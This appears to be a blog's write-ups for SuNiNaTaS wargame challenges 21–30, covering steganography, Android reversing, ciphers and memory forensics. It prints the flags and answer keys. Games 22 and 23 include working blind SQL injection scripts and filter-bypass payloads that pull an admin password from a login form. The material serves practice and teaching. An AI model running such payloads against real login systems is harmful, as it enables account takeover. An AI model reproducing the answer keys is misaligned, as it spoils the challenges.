Hello Navi

Tech, Security & Personal Notes

challenges

Game 21

We have a JPEG image to analyze. Check its properties:

1
2
❯ file monitor.jpg
monitor.jpg: JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=11, description=SAMSUNG, ...], baseline, precision 8, 640x480, components 3

Check for embedded data with binwalk:

1
2
❯ binwalk monitor.jpg
Analyzed 1 file for 85 file signatures (187 magic patterns) in 9.0 milliseconds

Attempting to use stegseek reveals a structural issue:

1
2
3
❯ stegseek monitor.jpg
StegSeek 0.6
Invalid JPEG file structure: two SOI markers

The file contains multiple JPEG images (indicated by multiple Start of Image markers). Extract them using foremost:

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ foremost monitor.jpg
❯ tree output/
output/
├── audit.txt
└── jpg
├── 00000000.jpg
├── 00000383.jpg
├── 00000765.jpg
├── 00001148.jpg
├── 00001532.jpg
├── 00001914.jpg
├── 00002297.jpg
└── 00002681.jpg

Examine the extracted images to find the flag.

H4CC3R_IN_TH3_MIDD33_4TT4CK

challenges

Game 22

This is a blind SQL injection challenge with heavy filtering. Keywords blocked include: select, union, or, whitespace, by, having, from, char, ascii, left, right, delay, 0x.

The goal is to find the admin's password. Start with credentials guest/guest to obtain a valid session.

Use a Python script to extract the password character-by-character via blind SQL injection:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import string

url = "http://suninatas.com/challenge/web22/web22.asp"
# Supply the complete Cookie header from an authorized challenge session.
import os
cookie_header = os.environ.get("SUNINATAS_COOKIE")
if not cookie_header:
raise SystemExit("SUNINATAS_COOKIE is required")
session = requests.Session()
session.headers["Cookie"] = cookie_header

charset = string.ascii_letters + string.digits + "!@#$%^&*()_+"
password = ""

for i in range(1, 31):
found_char = False
for char in charset:
# Test: substring(pw, index, length) = char
payload = f"'and(substring(pw,{i},1)='{char}')--"
params = {'id': 'admin' + payload, 'pw': 'a'}

try:
r = session.get(url, params=params, timeout=5, allow_redirects=False)
r.raise_for_status()
if 300 <= r.status_code < 400:
raise RuntimeError("Redirect received; oracle result is unknown")
if "OK" in r.text:
password += char
print(f"[+] Found char at index {i}: {char}")
found_char = True
break
except requests.RequestException as e:
raise RuntimeError("Request failed; oracle result is unknown") from e

if not found_char:
raise RuntimeError(f"No character matched at position {i}; length or alphabet is unresolved")

print(f"[EXTRACTED CANDIDATE] {password}")

The retained output continued beyond the length of the recorded answer and does not establish extraction success, so it is not used as verification. params preserves punctuation such as + through form encoding. The OK substring remains a historical, uncalibrated predicate: a current true/false control pair and a confirmed password length are required before treating extraction as complete. The loop aborts on an unmatched position, transport failure, or redirect; reaching the configured limit still yields only a candidate, not a verified password.

N1c3Bilnl)

challenges

Game 23

This is a hard blind SQL injection challenge with extensive filtering. Blocked keywords include: admin, select, union, by, having, substring, from, char, delay, 0x, hex, asc, desc.

Start with credentials guest/guest. The hint is to bypass the admin string filter using string concatenation: ad'+'min'.

Since substring() is filtered, use the left() function instead to extract characters from the left side of the password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
import string
import sys

TARGET_URL = "http://suninatas.com/challenge/web23/web23.asp"
import os
COOKIE_HEADER = os.environ.get("SUNINATAS_COOKIE")
if not COOKIE_HEADER:
raise SystemExit("SUNINATAS_COOKIE is required")
SESSION = requests.Session()
SESSION.headers["Cookie"] = COOKIE_HEADER

CHARSET = string.ascii_letters + string.digits + "!@#$%^&*()_+"
MAX_LENGTH = 31
SUCCESS_INDICATOR = "OK <font size=4 color=blue>admin"

def check_str(count, test_string):
params = {
'id': f"'or left(pw,{count})='{test_string}'--",
'pw': 'ar',
}
try:
response = SESSION.get(TARGET_URL, params=params, timeout=5, allow_redirects=False)
response.raise_for_status()
if 300 <= response.status_code < 400:
raise RuntimeError("Redirect received; oracle result is unknown")
return SUCCESS_INDICATOR in response.text
except requests.RequestException as e:
raise RuntimeError("Request failed; oracle result is unknown") from e

def main():
print(f"[*] Starting Blind SQL Injection on {TARGET_URL}")
extracted_string = ""

for i in range(1, MAX_LENGTH + 1):
found = False
for char in CHARSET:
if check_str(i, extracted_string + char):
extracted_string += char
print(f"[+] Char {i}: {char}")
found = True
break

if not found:
raise RuntimeError(f"No character matched at position {i}; length or alphabet is unresolved")

print(f"\n[EXTRACTED CANDIDATE] {extracted_string}")

if __name__ == "__main__":
main()

The following retained transcript shows only an initial prefix, not a complete extraction or a success response. A current true/false control pair for SUCCESS_INDICATOR and a separately confirmed length are missing; an unmatched position now aborts instead of silently ending the extraction. The ad'+'min' hint above is not used by the shown or left(...) probe, and that variant is not independently verified here.

1
2
3
4
5
6
7
8
9
10
[+] Char 1: v
[+] Char 2: 3
[+] Char 3: r
[+] Char 4: y
[+] Char 5: h
[+] Char 6: a
[+] Char 7: r
[+] Char 8: d
[+] Char 9: s
[+] Char 10: q
v3ryhardsqli

challenges

Game 24

We have an Android APK file to reverse engineer:

1
2
❯ file suninatas24
suninatas24: Android package (APK), with AndroidManifest.xml, with APK Signing Block

Decompile the APK using jadx (rename the file with .apk extension first):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class MainActivity extends Activity {
@Override
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_main);
((Button) findViewById(R.id.btn_send)).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
EditText editText = (EditText) MainActivity.this.findViewById(R.id.input_pw);
EditText editText2 = (EditText) MainActivity.this.findViewById(R.id.input_key);
Editable text = ((EditText) MainActivity.this.findViewById(R.id.input_id)).getText();
Editable text2 = editText.getText();
Editable text3 = editText2.getText();
if (text3.toString().equals("https://www.youtube.com/channel/UCuPOkAy1x5eZhUda-aZXUlg")) {
MainActivity.this.startActivity(new Intent("android.intent.action.VIEW",
Uri.parse("http://www.suninatas.com/challenge/web24/chk_key.asp?id=" +
text.toString() + "&pw=" + text2.toString() + "&key=" + text3.toString())));
return;
}
new AlertDialog.Builder(MainActivity.this).setMessage("Wrong!").show();
}
});
}
}

The code reveals a hardcoded validation: the key field must equal https://www.youtube.com/channel/UCuPOkAy1x5eZhUda-aZXUlg.

Construct the URL with a test account and the hardcoded key:

1
http://www.suninatas.com/challenge/web24/chk_key.asp?id=testuser&pw=testpass&key=https://www.youtube.com/channel/UCuPOkAy1x5eZhUda-aZXUlg

This triggers the backend verification which returns the auth key.

Auth_key = StARtANdr0idW0r1d

challenges

Game 25

We have another Android APK to reverse engineer. Extract and decompile it:

1
2
3
4
5
6
❯ file Suninatas25
Suninatas25: Zip archive data, ...

❯ unar Suninatas25
❯ mv Suninatas25 Suninatas25.apk
❯ # Open with jadx

The decompiled code reveals the app's logic:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class Suninatas25 extends Activity {
public void onCreate(Bundle savedInstanceState) {
// Reads contact with name "SuNiNaTaS"
String conId = Suninatas25.this.getContacts("id");
String conNum = Suninatas25.this.getTel(conId);

// Constructs URL with contact name and number
Uri uri = Uri.parse("http://www.suninatas.com/challenge/web25/chk_key.asp?id=" +
id.toString() + "&pw=" + pw.toString() + "&Name=" + conName.toString() +
"&Number=" + conNum.toString());
Intent it = new Intent("android.intent.action.VIEW", uri);
Suninatas25.this.startActivity(it);
}

public String getTel(String Idno) {
// Retrieves phone number for contact ID
StringBuffer tnum = new StringBuffer();
Cursor phones = getContentResolver().query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
"contact_id=" + Idno, null, null);
while (phones.moveToNext()) {
String phoneNumber = phones.getString(phones.getColumnIndex("data1"));
tnum.append(phoneNumber);
}
return tnum.toString();
}

public String getContacts(String Sel) {
// Searches for contact named "SuNiNaTaS"
StringBuffer sb = new StringBuffer();
Cursor contacts = getContentResolver().query(
ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
while (contacts.moveToNext()) {
String displayName = contacts.getString(contacts.getColumnIndex("display_name"));
String contactId = contacts.getString(contacts.getColumnIndex("_id"));
if (displayName.equals("SuNiNaTaS")) {
if (Sel.equals("id")) {
sb.append(contactId);
}
}
}
return sb.toString();
}
}

The vulnerability: the app reads the device's contacts and looks for a contact named exactly SuNiNaTaS. To exploit it:

  1. Create a test account
  2. Add a contact to the phone with display name SuNiNaTaS and any phone number
  3. Run the app to extract the contact's phone number
  4. Submit the request with the contact info:

Or directly enter the URL:

1
http://www.suninatas.com/challenge/web25/chk_key.asp?id=testuser&pw=testpass&Name=SuNiNaTaS&Number=1234567890

The server verifies the contact information and returns the auth key.

FanTast1c aNdr0id w0r1d!

challenges

Game 26

This challenge requires breaking a random substitution cipher using frequency analysis. The ciphertext is:

1
szqkagczvcvyabpsyincgozdainvscbnivpnzvbpnyfkqhzmmpcqhzygzgfcxznvvzgdfnvbpnjyifxmpcqhzygbpnoyaimygbzgngbvmpcqhzygcbpinnbzqndicgxhiztozgcfmpcqhzygbpnjyifxeagzyimpcqhzygbpneagzyidicgxhiztozgcfmpcqhzygcgxcoyaibzqnvyabpsyincggcbzygcfmpcqhzygszqzvbpnozivbvyabpsyincgozdainvscbnibyjzgcqnxcfcbcgzvaeagzyiyivngzyidicgxhiztnungbzvampcqhzygvpzhcgxbpnyfkqhzmdcqnvvpnzvbpnozivbonqcfnvscbnibyjzgbpnyfkqhzmdcqnvbpnjyifxmpcqhzygvpzhvbpnoyaimygbzgngbvmpcqhzygvpzhvcgxbpndicgxhiztozgcfvpnzvygnyobpnqyvbpzdpfkinmydgzlnxcbpfnbnvcgxqnxzcozdainvzgvyabpsyinccvyochizfbpzvkncivpnzvicgsnxvnmygxzgbpnjyifxrkbpnzgbnigcbzygcfvscbzgdagzygvpnzvbpnmaiingbinmyixpyfxnioyifcxznvzgbpnvpyibhiydicqbpnoinnvscbzgdcgxbpnmyqrzgnxbybcfagxnibpnzvaeaxdzgdvkvbnqvpnzvcfvybpnozivbonqcfnvscbnibyvaihcvvbpnbjypaxincxhyzgbqcisagxnibpnzvaeaxdzgdvkvbnqvpnpcvgnunirnnghfcmnxyoobpnhyxzaqzgpningbzinmcinni

Frequency Analysis Approach:

Analyze the character frequency in the ciphertext:

1
2
3
4
5
6
7
8
9
10
$ echo "$CIPHER" | fold -w1 | sort | uniq -c | sort -nr
92 n
78 z
69 g
65 c
65 b
62 v
60 i
59 y
58 p

In English text, the most common letters are E, T, A, O, I, N. Since n is the most frequent cipher character (92 occurrences), it likely maps to e in the plaintext. Similarly, z (78 occurrences) might map to t.

Use an online frequency analysis solver or substitution cipher tool to find the plaintext. Tools like quipqiup.com or frequency_analysis.html can automatically break the cipher based on English word frequencies.

The plaintext decrypts to a biography of Kim Yuna, a renowned South Korean figure skater, and the flag is her name.

kimyuna

challenges

Game 28

The hint says brute-force is unnecessary, so this is likely a file-format trick.

1
2
$ file So_Simple.zip
So_Simple.zip: Zip archive data, ...

This challenge uses ZIP pseudo-encryption (the encrypted flag bit is set even though the entry is not truly encrypted). That can break normal extraction in some tools.

Method 1: Use a pseudo-encryption aware tool

unar can extract So_Simple.zip directly:

1
2
3
4
5
$ unar So_Simple.zip
So_Simple.zip: Zip
Am_I_key.zip (205 B)... OK.
Am_I_key2.txt (4335 B)... OK.
Am_I_key3.txt (1445 B)... OK.

Then extract the nested ZIP:

1
2
3
4
5
6
7
8
9
10
$ unar Am_I_key.zip
Am_I_key.zip: Zip
There_is_key.txt (61 B)... OK.

$ cat There_is_key.txt
Isn't it so easy?

Take it.

dGE1dHlfSDR6M2xudXRfY29mZmVl

Decode Base64:

1
2
$ echo dGE1dHlfSDR6M2xudXRfY29mZmVl | base64 -d
ta5ty_H4z3lnut_coffee

Method 2: Patch ZIP header manually

You can also fix the ZIP flags in a hex editor (or radare2) by clearing the encryption bit in the local file header / central directory entries (0x0908 -> 0x0008 for relevant records). After patching, standard unzip tools work.

ta5ty_H4z3lnut_coffee

challenges

Game 27

We have an intercepted message containing hidden x86 shellcode. The challenge is to extract the secret by emulating the code.

The message file contains x86 machine code that, when executed, pushes characters onto the stack one by one to form the flag. Use the Unicorn Engine to emulate x86 code and monitor stack writes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python3
"""
x86 Emulation using Unicorn Engine to extract flag characters
pushed onto the stack during code execution.
"""

import sys
from unicorn import *
from unicorn.x86_const import *

CODE_FILE = 'message.txt'
BASE_ADDRESS = 0x1000000
STACK_ADDRESS = 0x2000000
MEM_SIZE = 2 * 1024 * 1024

flag_chars = []

def hook_mem_write(uc, access, address, size, value, user_data):
"""Capture stack writes (PUSH instructions) and extract characters."""
if access == UC_MEM_WRITE:
try:
char = chr(value)
if char.isprintable():
flag_chars.append(char)
print(f"[+] Pushed: '{char}' (0x{value:02x})")
except Exception:
pass

def main():
# Load shellcode
try:
with open(CODE_FILE, 'rb') as f:
code = f.read()
except FileNotFoundError:
print(f"Error: {CODE_FILE} not found.")
sys.exit(1)

print(f"Emulating x86 code ({len(code)} bytes)...")

try:
# Initialize x86 32-bit emulator
mu = Uc(UC_ARCH_X86, UC_MODE_32)

# Map memory regions
mu.mem_map(BASE_ADDRESS, MEM_SIZE)
mu.mem_map(STACK_ADDRESS, MEM_SIZE)

# Load code
mu.mem_write(BASE_ADDRESS, code)

# Initialize registers
mu.reg_write(UC_X86_REG_EAX, 0x0)
mu.reg_write(UC_X86_REG_ESP, STACK_ADDRESS + (MEM_SIZE // 2))

# Hook memory writes to capture pushed characters
mu.hook_add(UC_HOOK_MEM_WRITE, hook_mem_write)

# Execute
mu.emu_start(BASE_ADDRESS, BASE_ADDRESS + len(code))

except UcError as e:
# Emulation ends with an error when code runs off or lacks exit syscall
print(f"Emulation stopped: {e}")

# Output results
if flag_chars:
print(f"\n{'='*20}")
print(f"Extracted Flag: {''.join(flag_chars)}")
print(f"{'='*20}")

if __name__ == '__main__':
main()

Running the emulator extracts characters pushed during execution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[+] Pushed: 'k' (0x6b)
[+] Pushed: 'e' (0x65)
[+] Pushed: 'y' (0x79)
[+] Pushed: '_' (0x5f)
[+] Pushed: 'i' (0x69)
[+] Pushed: 's' (0x73)
[+] Pushed: '_' (0x5f)
[+] Pushed: 'a' (0x61)
[+] Pushed: 'c' (0x63)
[+] Pushed: 'c' (0x63)
[+] Pushed: 'b' (0x62)
[+] Pushed: 'g' (0x67)
[+] Pushed: 'g' (0x67)
[+] Pushed: 'j' (0x6a)

====================
Extracted Flag: key_is_accbggj
====================
accbggj

challenges

Game 29

This challenge is a forensic incident response scenario with four answers (Q1-Q4) and a final auth hash.

Given artifact:

1
2
$ file 'Windows7(SuNiNaTaS)'
Windows7(SuNiNaTaS): EGG archive data, version 1.0

EGG is an ALZip archive format. I extracted it in a Windows guest (Bandizip), then analyzed the VM artifacts from Linux.

Extracted files include:

  • Windows 7.vmdk (disk)
  • Windows 7-Snapshot2.vmem (memory)

Environment setup used

1
2
3
4
5
6
# mount Windows disk read-only
$ sudo guestmount -a "Windows 7.vmdk" -m /dev/sda1 --ro /mnt/win

# memory analysis
$ vol -f 'Windows 7-Snapshot2.vmem' -s ./volsym windows.pslist
$ vol -f 'Windows 7-Snapshot2.vmem' -s ./volsym windows.cmdline

Q1: Fix broken www.naver.com and recover key

hosts was tampered:

1
2
3
4
5
6
$ cat /mnt/win/Windows/System32/drivers/etc/hosts
...
121.189.57.82 naver.com
121.189.57.82 www.naver.com
...
# C0ngr4tur4ti0ns!! This is a Keeeeeeeeeeey : what_the_he11_1s_keey

Q1 key:

1
what_the_he11_1s_keey

Q2: Installed keylogger location + filename (lowercase)

From memory process list and command line:

1
2
3
4
5
6
7
8
9
10
$ vol -f 'Windows 7-Snapshot2.vmem' -s ./volsym windows.pslist
...
1556 1344 v1tvr0.exe ...
1564 1344 notepad.exe ...
...

$ vol -f 'Windows 7-Snapshot2.vmem' -s ./volsym windows.cmdline
...
1556 v1tvr0.exe "C:\v196vv8\v1tvr0.exe"
...

Q2 answer:

1
c:\v196vv8\v1tvr0.exe

Q3: Download time of keylogger

I first checked filesystem/MFT timestamps, but they are not the best source for "download time":

1
2
3
4
5
$ stat /mnt/win/v196vv8/v1tvr0.exe
# shows access/modify/change, no reliable creation/birth here

$ vol -f 'Windows 7-Snapshot2.vmem' -s ./volsym windows.mftscan.MFTScan | grep -i v1tvr0.exe
# MFT timestamps found, but still not direct browser download evidence

Better evidence: Internet Explorer history (index.dat).

1
2
3
4
5
$ find /mnt/win -name 'index.dat' -exec strings -f {} \; | grep -i 'spy-2010-keylogger-surveillance-spy-3.exe'
./Users/training/AppData/Local/Microsoft/Windows/History/History.IE5/index.dat: Visited: training@http://192.168.163.1/files/pc-spy-2010-keylogger-surveillance-spy-3.exe

$ pasco index.dat | grep -i exe
URL Visited: training@http://192.168.163.1/files/pc-spy-2010-keylogger-surveillance-spy-3.exe 05/24/2016 03:25:06

Challenge format: yyyy-mm-dd_hh:mm:ss. Original analysis timezone was UTC+8, challenge expected UTC+9, so:

1
2016-05-24_04:25:06

Q4: What did the keylogger capture?

Recovered log snippet (z1.dat):

1
4:37:57  How did you know pAsS\orD? Wow... Kee22 ls "blackkey is a Good man"

Q4 key:

1
blackkey is a Good man

Final Auth Key

Rule:

1
lowercase(md5(Q1_key + Q2_answer + Q3_answer + Q4_key))

Concatenation:

1
what_the_he11_1s_keeyc:\v196vv8\v1tvr0.exe2016-05-24_04:25:06blackkey is a Good man

Result:

970f891e3667fce147b222cc9a8699d4

challenges

Game 30

Challenge summary:

  • Q1: IP address of General Kim's PC
  • Q2: Secret document read by hacker
  • Q3: Content of that document (contains a key)
  • Final: lowercase(md5(Q1 + Q2 + Q3))

Given artifact:

1
2
$ file 'MemoryDump(SuNiNaTaS)'
MemoryDump(SuNiNaTaS): data

I used Volatility 3 throughout.

Initial triage

Identify OS profile and basic context:

1
2
3
4
5
6
$ vol -f 'MemoryDump(SuNiNaTaS)' -s ~/symbols/ windows.info
...
Is64Bit False
NTBuildLab 7601.18044.x86fre.win7sp1_gdr.13
SystemTime 2016-05-24 09:47:40+00:00
...

Q1: IP address of General Kim's PC

Check active/known network artifacts:

1
2
3
4
5
6
$ vol -f 'MemoryDump(SuNiNaTaS)' -s ~/symbols/ windows.netscan
...
0x3f270450 TCPv4 192.168.197.138 139 0.0.0.0 0 LISTENING 4 System
0x3f270768 UDPv4 192.168.197.138 137 * 0 4 System
0x3fdd5620 TCPv4 192.168.197.138 49248 113.29.189.142 80 ESTABLISHED - -
...

Q1 answer:

1
192.168.197.138

Q2: Which secret document was read?

Find interesting user actions from process arguments:

1
2
3
4
$ vol -f 'MemoryDump(SuNiNaTaS)' -s ~/symbols/ windows.cmdline
...
3728 notepad.exe notepad C:\Users\training\Desktop\SecreetDocumen7.txt
...

Q2 answer:

1
SecreetDocumen7.txt

Q3: Content/key inside the secret document

Locate and dump the file from memory:

1
2
3
4
5
6
7
8
9
10
11
12
$ vol -f 'MemoryDump(SuNiNaTaS)' -s ~/symbols/ windows.filescan | grep 'SecreetDocumen7.txt'
0x3df2ddd8 100.0\Users\training\Desktop\SecreetDocumen7.txt

$ vol -f 'MemoryDump(SuNiNaTaS)' -s ~/symbols/ windows.dumpfiles --phy 0x3df2ddd8
...
file.0x3df2ddd8.0x85d7d150.DataSectionObject.SecreetDocumen7.txt.dat

$ xxd file.0x3df2ddd8.0x85d7d150.DataSectionObject.SecreetDocumen7.txt.dat
...
00000050: 7920 6973 2022 3472 6d79 5f34 6972 666f y is "4rmy_4irfo
00000060: 7263 655f 4e34 7679 2200 0000 0000 0000 rce_N4vy".......
...

Q3 key:

1
4rmy_4irforce_N4vy

Final Auth Key

Concatenate in order:

1
192.168.197.138SecreetDocumen7.txt4rmy_4irforce_N4vy

Compute lowercase MD5:

c152e3fb5a6882563231b00f21a8ed5f